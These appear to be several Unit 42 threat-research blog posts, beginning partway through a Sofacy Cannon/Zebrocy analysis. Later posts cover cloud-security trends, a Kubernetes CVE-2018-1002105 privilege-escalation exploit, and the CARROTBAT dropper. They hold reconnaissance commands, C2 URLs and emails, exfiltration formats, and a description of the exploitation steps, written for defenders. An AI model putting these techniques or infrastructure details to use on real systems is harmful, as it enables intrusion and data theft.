As mentioned in our initial blog, the actor controlled email address acting as the C2 was sahro.bella7[at]post.cz, but all previous samples of Cannon used sym777.g[at]post.cz. Also, all previous samples of Cannon used an account name of kae.mezhnosh to receive emails from the actor, while using the accounts vebek.morozh30, g0r7tsa45s and marvel.polezha to send emails to the actor.

As we reported in our previous analysis of Cannon, the tool logs into an email account using POP3S and checks for emails with a specific filename that it will save to the system and execute. The initial sample we analyzed looked for an attachment with a filename of auddevc.txt, but other Cannon samples have looked for the following filenames instead:

Delphi Cannon

While searching for additional Cannon samples, we discovered another tool that used emails for its C2 communications. The initial overlap was based on the filename wmssl.exe, which was seen as an executable name that Cannon would move the wmssl.txt attachment to install and execute a secondary payload. Initial analysis indicated this may have been a tenuous connection; however, after we gathered additional samples of Delphi Cannon, we discovered additional relationships. Table 6 shows Delphi Cannon samples we gathered, including the sample 215f7c08c2.. that is very similar to the Trojan discussed in ESET’s research.

 

SHA256 Compiled C2 email POP3S Account SMTPS Accounts
5a02d4e5f6.. 1/23/18

 

 heatlth500@ambcomission[.]com trash023@ambcomission[.]com trasler22@ambcomission[.]com
d06be83a40.. 2/21/18 heatlth500@ambcomission[.]com trash023@ambcomission[.]com trasler22@ambcomission[.]com
78adc8e5e4.. 2/28/18 heatlth500@ambcomission[.]com trash023@ambcomission[.]com trasler22@ambcomission[.]com
054c5aa73d.. 3/3/18 heatlth500@ambcomission[.]com trash023@ambcomission[.]com trasler22@ambcomission[.]com
cac630c11c.. 4/18/18 N/A N/A N/A
ecc5805898.. 5/4/18 heatlth500@ambcomission[.]com trash023@ambcomission[.]com trasler22@ambcomission[.]com
215f7c08c2.. 6/14/18 rishit333@ambcomission[.]com tomasso25@ambcomission[.]com kevin30@ambcomission[.]com

 

Table 6 Gathered Delphi Cannon Samples

The compilation times in Table 6 suggests that the Delphi variant of Cannon predates the originally reported version, as the first known Delphi sample was compiled in January 2018 and the first known Cannon sample was compiled in April 2018. The Delphi variant of Cannon does not use legitimate web-based email services for its C2 communications, instead opting to use email accounts at an actor owned domain, ambcomission[.]com. This actor controlled domain links to a larger Sofacy infrastructure as reported by ThreatConnect. Even though Delphi Cannon uses POP3S and SMTPS for its C2 communications like Cannon, it is arguably easier to defend against as it uses an actor owned domain that defenders can easily block and not a legitimate email provider such as Seznam.

The oldest known sample of the Delphi variant (SHA256: 5a02d4e5f6…) provided us a much stronger linkage between this Delphi Cannon and Cannon, as this sample collects system information and sends it to the C2 email address, which includes the path of the running process appended to the string Running place. The screenshot in Figure 8 of the inf method within a Cannon sample (SHA256: 4405cfbf28...) shows the information gathered that is exfiltrated to the C2 via email, specifically with RunningPlace and LogicalDrives header strings:

Figure 8 inf method used by Cannon

 

When comparing the two Cannon variants, we found a method within a Delphi Cannon sample (SHA256: 5a02d4e5f6...) showing the use of Running place and Logical_Drivers as header strings to the system information it is collecting and sending to the C2 via email. While not an exact match, Figure 9 shows these similar header strings and strengthens our hypothesis that the two variants are indeed related:

Figure 9 Similarities of Delphi Cannon and Cannon

 

As seen in Table 6, one of the Delphi Cannon samples (SHA256: cac630c11c..) does not have any associated email addresses, as the sample does not seem to have any C2 functionality. Instead, this sample reads “tasks” from a file named ta.bin that another unknown tool then must write to and handle C2 functionality. It is also interesting that this specific sample has the same resource name (L30) that contains the same encrypted email addresses as the other samples in Table 6 using heatlth500@ambcomission[.]com as a C2 email (such as ecc5805898..) but does not contain any code to access the resource or decrypt its contents.

 

VB.NET Zebrocy Variant

The VB.NET variant (SHA256: e5aece694d..) is very similar to other known Zebrocy variants. It includes the storage volume serial number within the URL it uses as its C2 beacon, which it obtains using the Scripting.FileSystemObject object to call GetDriveName from the path stored in Environment.SpecialFolder.LocalApplicationData. It then uses the storage volume obtained from the GetDriveName function and calls GetDrive to get the SerialNumber of the storage device. The VB.NET variant then gathers system information and running processes like other Zebrocy variants by running the following commands:

systeminfo & tasklist

The URL used to send the system information, running processes and a screenshot to the C2 server is:

hxxp://109.248.148[.]42/agr-enum/progress-inform/cube.php?res=[serial number]

The VB.NET variant of Zebrocy uses an HTTP POST request to the URL above to transmit the gathered data, of which is included within the HTTP POST data that is structured as follows (notice the spaces before and after ampersand “&”):

data=[system information and running processes] & arg=[screenshot in BMP format]

 

C# Zebrocy Variant

The C# variant of Zebrocy is similar to other variants in functionality, but also has several unique attributes that are worth discussing. Like other Zebrocy tools, the C# variant gathers the storage volume serial number to use in outbound beacons to the C2 server. In this particular variant, the tool uses the Windows API function GetVolumeInformation to get the serial number of the C: drive. This variant of Zebrocy also takes a screenshot that it will transmit to the C2 server in JPEG format.

The most notable change to this variant of Zebrocy, other than the programming language used, is the way the tool gathers the system information and running processes. Instead of using systeminfo and tasklist commands, the C# variant of Zebrocy uses WMI queries to gather this information. The tool runs the following list of WMI queries:

  • wmic logicaldisk get Caption, Description,VolumeSerialNumber,Size,FreeSpace
  • wmic diskdrive get Model, SerialNumber
  • wmic computersystem get Manufacturer, Model, Name, SystemTypec
  • wmic os get Caption, OSArchitecture, OSLanguage,SystemDrive,MUILanguages
  • wmic process get Caption,ExecutablePath

The URL used to send the system information, running processes and a screenshot to the C2 server is:

hxxp://145.249.105[.]165/resource-store/stockroom-center-service/check.php?fm=[serial number]

The C# variant of Zebrocy uses an HTTP POST request to the URL above to transmit the gathered data, of which is included within the HTTP POST data that is structured as follows:

spp=[system information from WMI queries] &spvg=[screenshot in JPEG format]

 

Conclusion

The Sofacy group continues their attacks on organizations across the globe using similar tactics and techniques. We observed them carrying out attacks via spear-phishing emails in late October through November, often leveraging current events within filenames to entice recipients to open the malicious attachments. The group clearly shows a preference for using a simple downloader like Zebrocy as first-stage payloads in these attacks. The group continues to develop new variations of Zebrocy by adding a VB.NET and C# version, and it appears that they also have used different variants of the Cannon tool in past attack campaigns.

Palo Alto Networks customers are protected by attacks discussed in this blog by:

  • All delivery documents and payloads discussed are detected with malicious verdicts in WildFire
  • Traps blocks the macro laden documents as Suspicious macro detected
  •  C2 URLs have been classified as Command and Control
  • AutoFocus customers may learn more via the Zebrocy and Cannon tags

 

Indicators of Compromise

Delivery Hashes

2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f

c20e5d56b35992fe74e92aebb09c40a9ec4f3d9b3c2a01efbe761fa7921dd97f

abfc14f7f708f662046bfcad81a719c71a35a8dc5aa111407c2c93496e52db74

40318f3593bca859673827b88d65c5d2f0d80a76948be936a60bda67dff27be9

5749eb9d7b8afa278be24a4db66f122aeb323eaa73a9c9e52d77ac3952da5e7d

af77e845f1b0a3ae32cb5cfa53ff22cc9dae883f05200e18ad8e10d7a8106392

34bdb5b364358a07f598da4d26b30bac37e139a7dc2b9914debb3a16311f3ded

79bd5f34867229176869572a027bd601bd8c0bc3f56d37443d403a6d1819a7e5

77ff53211bd994293400cb3f93e3d3df6754d8d477cb76f52221704adebad83a

 

Remote Template Hashes

f1e2bceae81ccd54777f7862c616f22b581b47e0dda5cb02d0a722168ef194a5

86bb3b00bcd4878b081e4e4f126bba321b81a17e544d54377a0f590f95209e46

2da5a388b891e42df4ed62cffbc167db2021e2441e6075d651ecc1d0ffd32ec8

0d7b945b9c912d205974f44e3742c696b5038c2120ed4775710ed6d51fbc58ef

fc69fb278e12fc7f9c49a020eff9f84c58b71e680a9e18f78d4e6540693f557d

ed8f52cdfc5f4c4be95a6b2e935661e00b50324bee5fe8974599743ccfd8daba

b9f3af84a69cd39e2e10a86207f8612dd2839873c5839af533ffbc45fc56f809

 

Remote Template URLs

hxxp://188.241.58[.]170/live/owa/office.dotm

hxxp://185.203.118[.]198/documents/Note_template.dotm

hxxp://185.203.118[.]198/documents/Note_template.dotm

hxxp://145.249.105[.]165/doc/temp/release.dotm

hxxp://145.249.105[.]165/messages/content/message_template.dotm

hxxp://188.241.58[.]170/version/in/documents.dotm

hxxp://109.248.148[.]42/officeDocument/2006/relationships/templates.dotm

hxxp://109.248.148[.]42/office/thememl/2012/main/attachedTemplate.dotm

hxxp://109.248.148[.]42/office/thememl/2012/main/attachedTemplate.dotm

 

Zebrocy Hashes

5173721f3054b92e6c0ff2a6a80e4741aa3639bc1906d8b615c3b014a7a1a8d7

61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e

6ad3eb8b5622145a70bec67b3d14868a1c13864864afd651fe70689c95b1399a

9a0f00469d67bdb60f542fabb42e8d3a90c214b82f021ac6719c7f30e69ff0b9

b41480d685a961ed033b932d9c363c2a08ad60af1d2b46d4f78b5469dc5d58e3

c91843a69dcf3fdad0dac1b2f0139d1bb072787a1cfcf7b6e34a96bc3c081d65

e5aece694d740ebcb107921e890cccc5d7e8f42471f1c4ce108ecb5170ea1e92

 

Zebrocy C2 URLs

hxxp://188.241.58[.]170/local/s3/filters.php

hxxp://185.203.118[.]198/en_action_device/center_correct_customer/drivers-i7-x86.php

hxxp://145.249.105[.]165/resource-store/stockroom-center-service/check.php

hxxp://109.248.148[.]42/agr-enum/progress-inform/cube.php

 

Cannon Hashes

861b6bc1f9869017c48930af5848930dd037fb70fc506d8a7e43e1a0dbd1e8cb

4405cfbf28e0dfafa9ea292e494f385592383d2476a9c49d12596b8d22a63c47

174effcdeec0b84c67d7dc23351418f6fa4825550d595344214cc746f1a01c1a

a23261e2b693750a7009569df96ec4cf61e57acc9424c98d6fe1087ff8c659ce

651d5aab82e53711563ce074c047cbaa0703931673fa3ad20933d6a63c5c3b12

68df0f924ce79765573156eabffee3a7bb0fa972d2b67d12dd91dea3ec255d24

61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e

5a02d4e5f6d6a89ad41554295114506540f0876e7288464e4a70c9ba51d24f12

d06be83a408f4796616b1c446e3637009d7691c131d121eb165c55bdd5ba50b4

78adc8e5e4e86146317420fa3b2274c9805f6942c9973963467479cb1bbd4ead

054c5aa73d6b6d293170785a82453446429c0efc742df75979b760682ac3026b

cac630c11c4bf6363c067fbf7741eae0ec70238d9c5e60d41f3ed8f65b56c1d1

ecc5805898e037c2ef9bc52ea6c6e59b537984f84c3d680c8436c6a38bdecdf4

215f7c08c2e3ef5835c7ebc9a329b04b8d5215773b7ebfc9fd755d93451ce1ae

 

Cannon Related Emails

sym777.g[at]post.cz

kae.mezhnosh[at]post.cz

vebek.morozh30[at]post.cz

g0r7tsa45s[at]post.cz

marvel.polezha[at]post.cz

sahro.bella7[at]post.cz

trala.cosh2[at]post.cz

Bishtr.cam47[at]post.cz

Lobrek.chizh[at]post.cz

Cervot.woprov[at]post.cz

heatlth500[at]ambcomission[.]com

trash023[at]ambcomission[.]com

trasler22[at]ambcomission[.]com

rishit333[at]ambcomission[.]com

tomasso25[at]ambcomission[.]com

kevin30[at]ambcomission[.]com

Unit 42 Cloud Security Trends and Tips

Posted on by Unit 42

The benefits for enterprises moving to the cloud are clear: greater flexibility, agility, scalability and cost savings. However, adopting public cloud infrastructure can also magnify security risks and compliance challenges. Today, we released the latest report from Unit 42, “Cloud Security Trends and Tips: Key Learning to Secure Your AWS, Azure and Google Cloud Environments.” In this report, Unit 42 looked at new and existing threats to cloud security from late-May through early-September 2018 and analyzed how enterprises are faring as they attempt to balance risk with efficiency.

Among other findings, the report shows:

  • Account compromises are increasing in scale and velocity: Unit 42 research reveals 29% of organizations have potential account compromises, 27% allow root user activities, and 41% of access keys have not been rotated in the last 90 days. Credential compromises are becoming more commonplace, and organizations clearly need to enforce strong governance and access hygiene. Enterprises must operate under the assumption that account compromises are a possibility, and implement monitoring to detect and rapidly respond to suspicious user activities.
  • Compliance is a work in progress: The numbers are undeniable: 32% of organizations publicly exposed at least one cloud storage service, 49% of databases are not encrypted, and 32% of GDPR compliance checks fail—a significant concern in today’s global operating environment. It’s long been known that risky resource configurations lead to high-profile breaches. There are signs of better protection of cloud storage services, but with the rise of sweeping regulations such as GDPR in Europe and California Consumer Privacy Act, many organizations still have much work to do before they achieve comprehensive compliance and governance across public cloud environments.
  • Cryptojacking may be cooling: Unit 42 found that 11% of organizations experienced cryptojacking activity in their environments—a serious problem, but better than the 25% reported in May. More than a quarter (26%) don’t restrict outbound traffic at all, and 28% of databases receive inbound connections from the internet. It appears that the diminishing value of cryptocurrencies, along with better detection capabilities, is helping decrease cryptojacking attacks. This represents an opportunity to implement greater countermeasures before the next wave of attacks.
  • A bright note in vulnerability management: Just as Spectre and Meltdown caused major business disruption earlier this year, the latest vulnerability affecting Intel processors (L1 Terminal Fault) and the remote code execution (RCE) flaw in Apache Struts 2 are generating headaches now: 23% of organizations have hosts missing critical patches in the cloud. Cloud service providers (CSPs) provide a first line of defense by updating their infrastructures and services, but customers have a role to play in identifying and patching vulnerable hosts—and that can’t be done with standalone vulnerability scanning tools that were not designed for cloud architectures.
  • Containing the container model: There’s no question that container adoption is booming: one in three organizations use native or managed Kubernetes orchestration, and a quarter leverage managed services in the cloud such as Amazon Elastic Container Service for Kubernetes (EKS), Google Kubernetes Engine (GKE), and Azure Kubernetes Service (AKS). Such platforms make it easy for developers to deploy, manage and scale containerized applications. The Unit 42 report finds that 46% of organizations accept traffic to Kubernetes pods from any source, and 15% don’t use Identity and Access Management (IAM) policies to control access to Kubernetes instances. Organizations need to apply network policies that isolate the pods and enforce access control.

Download “Cloud Security Trends and Tips: Key Learning to Secure Your AWS, Azure and Google Cloud Environments” for more security trends and actionable recommendations to protect your cloud environment.

Demystifying Kubernetes CVE-2018-1002105 (and a dead simple exploit)

Posted on by Unit 42

Earlier this week a major vulnerability in Kubernetes was made public by its maintainers. It was originally caught as a bug by Darren Shepherd and was later marked as a critical vulnerability and assigned CVE-2018-1002105. Its implications were clearly laid out in its Github issue page by Kubernetes developer Jordan Liggitt. The bug was fixed and new versions were tagged for all supported Kubernetes releases.

Many technology news sites published articles with warnings, and cloud providers followed with their own updates and mitigations (Google, Azure, AWS). At Twistlock, our CTO John Morello authored an excellent post with all the relevant details and Twistlock platform mitigations.

Since then I’ve seen multiple tools and scripts released and many commercial companies addressed this vulnerability in dedicated updates. The level of visibility this vulnerability attracted was much greater than with what I’ve seen with any similar vulnerability. In all fairness though, it is not common to find critical security bugs in Go code. This provided me with enough motivation to dig in further and produce a working exploit that would prove that the vulnerability really is as critical as suggested.

The vulnerability

Let’s break down the current Github issue description:

With a specially crafted request, users that are authorized to establish a connection through the Kubernetes API server to a backend server can then send arbitrary requests over the same connection directly to that backend, authenticated with the Kubernetes API server’s TLS credentials used to establish the backend connection.

The source of the bug is the Kubernetes API server, aka kube-apiserver. For those unfamiliar with it, the API server provides the REST API endpoint through which Kubernetes operations are made. It is most commonly used through kubectl, the Kubernetes command-line tool. It is accessible by all pods by default.

Access to the API server is secured with strong authentication and authorization mechanisms. Both mechanisms are vital to any Kubernetes cluster configuration, and authentication is also enforced internally between system pods. In essence, Authentication is used for securely identifying and trusting users (or vice versa, for trusting the API server), usually with TLS certificates, while the Authorization strategy determines who can do what. RBAC is commonly used for that purpose.

The bug allows an attacker who can send a legitimate, authorized request to the API server to bypass the authorization logic in any sequenced request. In other words, escalate privileges to that of any user. That’s pretty bad, let’s figure out how that happened.

By looking at the fixing pull request we learn that the faulting code was in the upgradeaware.go file, in the UpgradeAwareHandler Go type. This handler is used for “proxy requests that may require an upgrade”. The proxy handler works with HTTP traffic, and it can handle HTTP Upgrade requests. The API server needs the ability to support requests over WebSockets, so it uses this handler for managing connection.

The handler only serves as a proxy however. It passes all valid requests to an API aggregation layer which routes each request to its appropriate underlying server. This aggregation layer allows adding extensions to the Kubernetes API endpoint. The actual API servers run as servers in system pods and the requests from the aggregation layer are routed to them.

Now to the logical flaw in the handler code. When an HTTP request with HTTP Upgrade headers was sent, given it was an authorized request to the requested object, it would be passed to the aggregation server by the handler. Even if the returned response would not contain HTTP return code 101 (Switching Protocols), the response would be sent to the client and the proxy connection to the internal server would still be established, just as it would have if the connection really was upgraded to use WebSockets.

The problem is that the proxy connection does not enforce the authorization scheme on any of the subsequent requests. It uses its TLS certificate to authenticate against the internal server, and forwards all requests as they come.

An attacker could send an authorized request to the API server with HTTP Upgrade headers and then continue sending any HTTP requests on the same TCP socket, bypassing authorization control.

The fix involved checking the response code from the response of the internal server, and prevent the creation of a proxy connection if no protocol upgrade actually took place.

Possible attack vectors

To successfully establish an attack the attacker must be authorized to perform some request to the API server. Unfortunately, the default Kubernetes configuration actually helps the attacker in this scenario.

By default, the RBAC configuration allows any user to perform discovery calls against any aggregated API server. These discovery calls allow any user or pod with access to the API to check for the availability of aggregated API servers. It is also used internally by the node kubelet to perform health checks of the API server.

Anonymous requests are likewise enabled by default, allowing anyone with access to the API endpoint to send valid unauthenticated requests. Specifically, discovery requests can be performed anonymously with no user identification. So with the default configuration, an attacker with access to the API server, from outside or from inside a pod, could use this vulnerability to escalate privileges to any user in the scope of an aggregated API server, without any additional prerequisites.

In order for a request to pass through the vulnerable logic, it needs to either be targeted at an aggregated API server, or be one of exec, attach or portforward actions on a pod object. The latter requires the attacker to be authenticated as a user with authorization to perform one of these actions on a pod. In my exploit I focused on added aggregated API servers, since they can ultimately be attacked through any pod with the discovery calls.

One of the questions I was immediately concerned with is if there are any aggregated API servers installed by default on Kubernetes clusters. Turns out that since Kubernetes 1.8, metrics-server is deployed by default when the kube-up.sh script is used. This Metrics Server API facilitates the kubectl top command in place of heapster.

The metrics server signs up its aggregated API under /apis/metrics.k8s.io/, where it provides metrics information about every node and pod on the cluster. By using the vulnerability, with a discovery call I could escalate privileges and leak information about the whole cluster from any pod on the cluster.

Another interesting extension API server is the Service Catalog, which is installed by default on OpenShift from version 3.7(1) and presumably on Kubernetes clusters deployed by cloud providers.

Exploitation

Now that we have a better understanding of the vulnerability, let’s see an exploit in action. I wrote a super simple Ruby script that exploits the vulnerability against the metrics server, and leaks information on pods from all namespaces in the cluster. It can be executed from any pod and should work assuming metrics-server deployed and default configuration.

In the exploit code, you may notice the second request includes the X-Remote-User header. This header allows impersonating any user on the cluster. X-Remote-Group can also be added if needed.

One tricky part of the exploitation was finding a user that is always configured to have access to the metrics server. There was no such user, but after digging a little in the documentation, I found that by using the format system:serviceaccounts:{namespace}:{username} I could impersonate any Service Account, which can be thought of as internal system users.

I looked at my ClusterRoles configuration and decided to use system:serviceaccount:kube-system:horizontal-pod-autoscaler, because it has a default ClusterRoleBinding that allows it to access the metrics server. To exploit other services, you could probably use any other service account with appropriate binding.

Proof of concept

In the following demo, I ran the PoC code inside a fresh nginx pod, and successfully got back a JSON list including all the pods in my cluster.

Detection

Liggitt did a great job in the issue explaining how to easily determine if you configuration was affected.

In the issue page he also lists potential mitigations for every scenario, but none can really be applied without breaking anything else in the cluster. My recommendation is to update the cluster to one of the fixed Kubernetes releases.

To Twistlock customers, I would also like to add that besides identifying the CVE in the vulnerability monitor, and having a compliance check to disable anonymous authorization (both mentioned in John’s post), the Twistlock platform should also detect traffic between pods that shouldn’t talk to each other. So in case a pod access the API server and is not expected to, Twistlock would alert on this event in the radar.

Ending note

I hope this post cleared some of the fog around this vulnerability. Feel free to reach me out with any questions you may have through email or at @TwistlockLabs. Happy holidays!

 

  1. Discussed in more depth in the RedHat OpenShift blog on the vulnerability

Don’t Panic Podcast Returns with Season 3

Posted on by Ryan Olson

Today we’re releasing the first podcast in Season 3 of Don’t Panic, the Unit 42 Podcast. You can expect seven more episodes over the next seven weeks. With this release we have a new, separate podcast stream for our listeners. If you’ve subscribed to our old stream on iTunes, please update your podcatcher using the links below.

iTunes   Google Play   LibSyn

If you’re a new listener to Don’t Panic, it’s hosted by us (Ryan Olson and Rick Howard). In each episode, we pick a big topic in cybersecurity, try to simplify it and help you understand why you don’t need to panic. We aim to keep each podcast under 20 minutes, and finish each episode with a segment on cybersecurity in popular culture.

In our first episode of this season, we’re tackling the topic of measuring risk in cybersecurity. We discuss the challenges people run into when trying to put numbers behind the risks their organization faces. You can listen in the player below or subscribe through iTunes or Google Play. All episodes (from 2015 until now) have all been uploaded at the new home for our podcast, here.

We are very interested in hearing your feedback. If you have ideas for new topics, love a pop culture moment, hate hearing our stupid jokes or just want to tell us you listened, please do so over Twitter.

Ryan (@ireo) - Rick (@raceBannon99) - Unit 42 (@unit42_intel)

 

The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia

Posted on by Josh Grunzweig

Unit 42 has uncovered a campaign leveraging a previously unreported customized dropper that is being used to deliver lures primarily pertaining to the South Korea and North Korea region. These lures revolve around a series of subjects, including various cryptocurrencies, cryptocurrency exchanges, and political events. Based on various information witnessed within this dropper, Unit 42 has dubbed this malware family CARROTBAT.

CARROTBAT was initially discovered in an attack on December 2017. This attack was made against a British government agency using the SYSCON malware family. SYSCON is a simple remote access Trojan (RAT) that uses the file transfer protocol (FTP) for network communications. While there is no evidence that this attack against a British government agency made use of the CARROTBAT dropper, we found overlaps within this attack’s infrastructure that ultimately lead us to CARROTBAT’s initial discovery, as well as other ties between these two malware families.

In total, 29 unique CARROTBAT samples have been identified to date, containing a total of 12 confirmed unique decoy documents. These samples began appearing in March of this year, with the majority of activity taking place within the past 3 months. The payloads vary, as earlier instances delivered SYSCON, while newer instances are delivering the previously reported OceanSalt malware family. CARROTBAT and their associated payloads constitute a campaign that we are dubbing ‘Fractured Block’.

 

Initial Attack

On December 13, 2017, a spear phishing email was sent from the email address of yuri.sidorav@yandex[.]ru to a high ranking individual within a British government agency. This email contained the following subject, with an attached document file of the same name:

  • US. would talk with North Korea “without precondition”

Within this attached Word document, the following text is displayed:

U.S. would talk with North Korea “without precondition”: Tillerson, By Seungmock Oh

This text references an article that was published on the same day as the attack by NKNews[.]org. The article in question discusses diplomatic ties between the United States and North Korea.

Figure 1 Article referenced by decoy document in attack against British government agency

 

The attached document leverages a DDE exploit to ultimately execute the following code:

Palo Alto Networks first witnessed this DDE exploit technique in May 2017, and attackers continue to leverage it. The command run by this particular malware sample attempts to download a remote executable file named 0_31.doc, which in turn is placed within the victim’s %TEMP% directory with the filename of AAA.exe prior to being executed.

The payload in question belongs to the SYSCON malware family. It communicates with ftp.bytehost31[.]org via FTP for command and control (C2).

Figure 2 SYSCON network traffic witnessed during execution

 

Pivoting on the domain hosting the SYSCON sample, 881.000webhostapp[.]com, revealed a number of additional samples, including a sample of the KONNI malware family, and four 64-bit executable files belonging to the CARROTBAT malware family. Pivoting further on characteristics belonging to CARROTBAT ultimately led to the identification of 29 unique samples in this malware family.

 

Fractured Block Campaign

The campaign dubbed Fractured Block encompasses all CARROTBAT samples identified to date. CARROTBAT itself is a dropper that allows an attacker to drop and open an embedded decoy file, followed by the execution of a command that will download and run a payload on the targeted machine. In total, the following 11 decoy document file formats are supported by this malware:

  • doc
  • .docx
  • .eml
  • .hwp
  • .jpg
  • .pdf
  • .png
  • .ppt
  • .pptx
  • .xls
  • .xlsx

After the embedded decoy document is opened, an obfuscated command such as the following is executed on the system:

This command will attempt to download and execute a remote file via the Microsoft Windows built-in certutil utility. More information on this technique and the CARROTBAT malware family may be found within the Appendix.

The 29 unique CARROTBAT malware samples have compile timestamps between March 2018 to September 2018. Of these 29 unique samples, 11 unique decoy documents were leveraged in attacks, as seen in the figure below:

Figure 3 Timeline of decoy documents being dropped by CARROTBAT

 

A majority of the decoy documents targeting victims in Korea had subject matter related to cryptocurrencies. In one unique case, the decoy contains a business card belonging to an individual working at COINVIL, which is an organization that announced plans to build a cryptocurrency exchange in the Philippines in May 2018.

Additional lure subjects included timely political events, such as relations between the U.S. and North Korea, as well as a trip by U.S. President Donald Trump to a summit in Singapore.

Payloads for the CARROTBAT samples varied. Originally, between the periods of March 2018 to July 2018, multiple instances of the SYSCON malware family were observed. These samples communicated with the following hosts via FTP for C2 communication:

  • ftp.byethost7[.]com
  • ftp.byethost10[.]com
  • files.000webhost[.]com

Beginning in June 2018, we observed the OceanSalt malware family being dropped by CARROTBAT. These samples continue to be used at the time of this writing, and were observed communicating with the following host for C2 communication:

  • 61.14.210[.]72:7117

 

Interesting Ties with Other Threat Activity

As stated earlier within this blog, there is infrastructure overlap between the CARROTBAT and KONNI malware families. KONNI is a RAT that is believed to have  been in use for over four years, with a wide array of functionalities, often leveraging free web hosting providers like 000webhost for its C2 infrastructure. This particular malware family has yet to be attributed to a named group at the time of this writing, however, targeting has historically focused on the Southeast Asia region.

Another relationship we have mentioned repeatedly is the use of the SYSCON malware family. This particular malware family was first reported in October 2017 and has been observed delivering decoy documents pertaining to North Korea. The malware is generally unsophisticated, making use of remote FTP servers for C2 communication.

Below you can see the KONNI usage highlighted in the gold flags and SYSCON highlighted in the purple flags.

 

Figure 4 Maltego diagram correlating malicious activity

 

Finally, the third overlap is the OceanSalt malware payload. First reported by McAfee in October 2018, reported victims include South Korea, the United States, and Canada. Like the samples outlined in the McAfee report, the OceanSalt samples observed in the Fractured Block Campaign employed the same code similarities as those of Comment Crew (aka APT1), however, we believe that these code similarities are a false flag. The malware used by Comment Crew has been in circulation for many years, and we do not believe the activity outlined in this blog post has any overlap with the older Comment Crew activity.

 

Figure 5 Threat activity overlap over time

Conclusion

Finding CARROTBAT provided an important lynchpin in identifying Fractured Block Campaign activity. Using CARROTBAT, we were able to find related OceanSalt, SYSCON and KONNI activity. The various overlaps encountered are notable, and it is our suspicion that this threat activity may all belong to the same threat actor. However, we do not believe there to be enough evidence at this time to make this claim with complete certainty.

The CARROTBAT malware family is a somewhat unique dropper and while it supports various types of decoy documents, and employs rudimentary command obfuscation, it should be made clear that it is not sophisticated.

While the actors behind Fractured Block remain active,

Palo Alto Networks customers are protected from this threat in the following ways:

  • AutoFocus customers can track these samples with the FracturedBlock, SYSCON, KONNI, and CARROTBAT
  • WildFire detects all files mentioned in this report with malicious verdicts.
  • Traps blocks all of the files currently associated with the Fractured Block campaign.

A special thanks to Chronicle's VirusTotal team for their assistance researching this threat.

 

Appendix

CARROTBAT Technical Analysis

 For the analysis below, the following sample is used:

MD5 3e4015366126dcdbdcc8b5c508a6d25c
SHA1 f459f9cfbd10b136cafb19cbc233a4c8342ad984
SHA256 aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de
File Type PE32 executable (GUI) Intel 80386, for MS Windows
Compile Timestamp 2018-09-05 00:17:22 UTC

 

Upon execution, the malware will read the last 8 bytes of itself. These bytes include two DWORDs that contain both the length of the embedded decoy document, as well as the type of file it is.

Figure 6 End of CARROTBAT file containing decoy document information

 

Using this gathered information, CARROTBAT continues to read the end of itself, minus the previously retrieved 8 bytes. This data contains the entirety of the embedded decoy document and is written to the same directory and filename as the original malware sample. However, the file extension is changed based on the previously retrieved file type value. The following corresponding values are used by CARROTBAT:

Value Document Extension
0x0 .doc
0x1 .pdf
0x2 .jpg
0x3 .xls
0x4 .xlsx
0x5 .hwp
0x6 .docx
0x7 .png
0x8 .eml
0x9 .ppt
0xA .pptx

In this particular case, the .hwp file extension is used for the decoy document. After the decoy is dropped to disk, it is opened in a new process. In this instance, the whitepaper for the BKN Bank cryptocurrency exchange is displayed to the victim:

Figure 7 HWP decoy document displayed to victim

 

After this document is displayed, the malware will continue to execute the following command in a new process:

This command will download a remote file using the built-in Microsoft Windows certutil command. In this particular instance, the following script is retrieved:

This script simply checks the operating system of the victim and downloads the respective payload again using the certutil executable. In this particular instance, the payload is encoded via base64, which certutil decodes. The payload in question is a CAB file that is then unpacked. Finally, the malware executes the extracted install.bat script before deleting the original files and exiting.

Figure 8 CARROTBAT downloading final payload via certutil

 

The downloaded CAB file has the following properties:

MD5 a943e196b83c4acd9c5ce13e4c43b4f4
SHA1 e66e416f300c7efb90c383a7630c9cfe901ff9fd
SHA256 cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62
File Type Microsoft Cabinet archive data, 181248 bytes, 3 files

 

The following three files and their descriptions are dropped by this CAB file:

 

Filename Purpose
Install.bat Installation batch script responsible for copying the other files to C:\Users\Public\Downloads and setting the Run registry key to ensure persistence. It will also remove any original files before exiting.
DrvUpdate.dll Instance of the OceanSalt malware family.
winnet.ini Encoded C2 information.

 

The C2 information is stored via the external winnet.ini file and is encoded using an incremental XOR key. The following function written in Python may be used to decode this file:

Once decoded it is discovered that this instance of OceanSalt attempts to communicate with 61.14.210[.]72 on port 7117.

 

CARROTBAT Samples

d34aabf20ccd93df9d43838cea41a7e243009a3ef055966cb9dea75d84b2724d

8b6b4a0e0945c6daf3ebc8870e3bd37e54751f95162232d85dc0a0cc8bead9aa

26fc6fa6acc942d186a31dc62be0de5e07d6201bdff5d7b2f1a7521d1d909847

e218b19252f242a8f10990ddb749f34430d3d7697cbfb6808542f609d2cbf828

824f79a8ee7d8a23a0371fab83de44db6014f4d9bdea90b47620064e232fd3e3

70106ebdbf4411c32596dae3f1ff7bf192b81b0809f8ed1435122bc2a33a2e22

87c50166f2ac41bec7b0f3e3dba20c7264ae83b13e9a6489055912d4201cbdfc

ac23017efc19804de64317cbc90efd63e814b5bb168c300cfec4cfdedf376f4f

d965627a12063172f12d5375c449c3eef505fde1ce4f5566e27ef2882002b5d0

7d443434c302431734caf1d034c054ad80493c4c703d5aaeafa4a931a496b2ae

1142dcc02b9ef34dca2f28c22613a0489a653eb0aeafe1370ca4c00200d479e0

337b8c2aac80a44f4e7f253a149c65312bc952661169066fe1d4c113348cc27b

92b45e9a3f26b2eef4a86f3dae029f5821cffec78c6c64334055d75dbf2a62ef

42e18ef3aaadac5b40a37ec0b3686c0c2976d65c978a2b685fefe50662876ded

ba78f0a6ce53682942e97b5ad7ec76a2383468a8b6cd5771209812b6410f10cb

dca9bd1c2d068fc9c84a754e4dcf703629fbe2aa33a089cb50a7e33e073f5cea

7d8376057a937573c099e3afe2d8e4b8ec8cb17e46583a2cab1a4ac4b8be1c97

3cbccb059225669dcfdc7542ce28666e0b1a227714eaf4b16869808bffe90b96

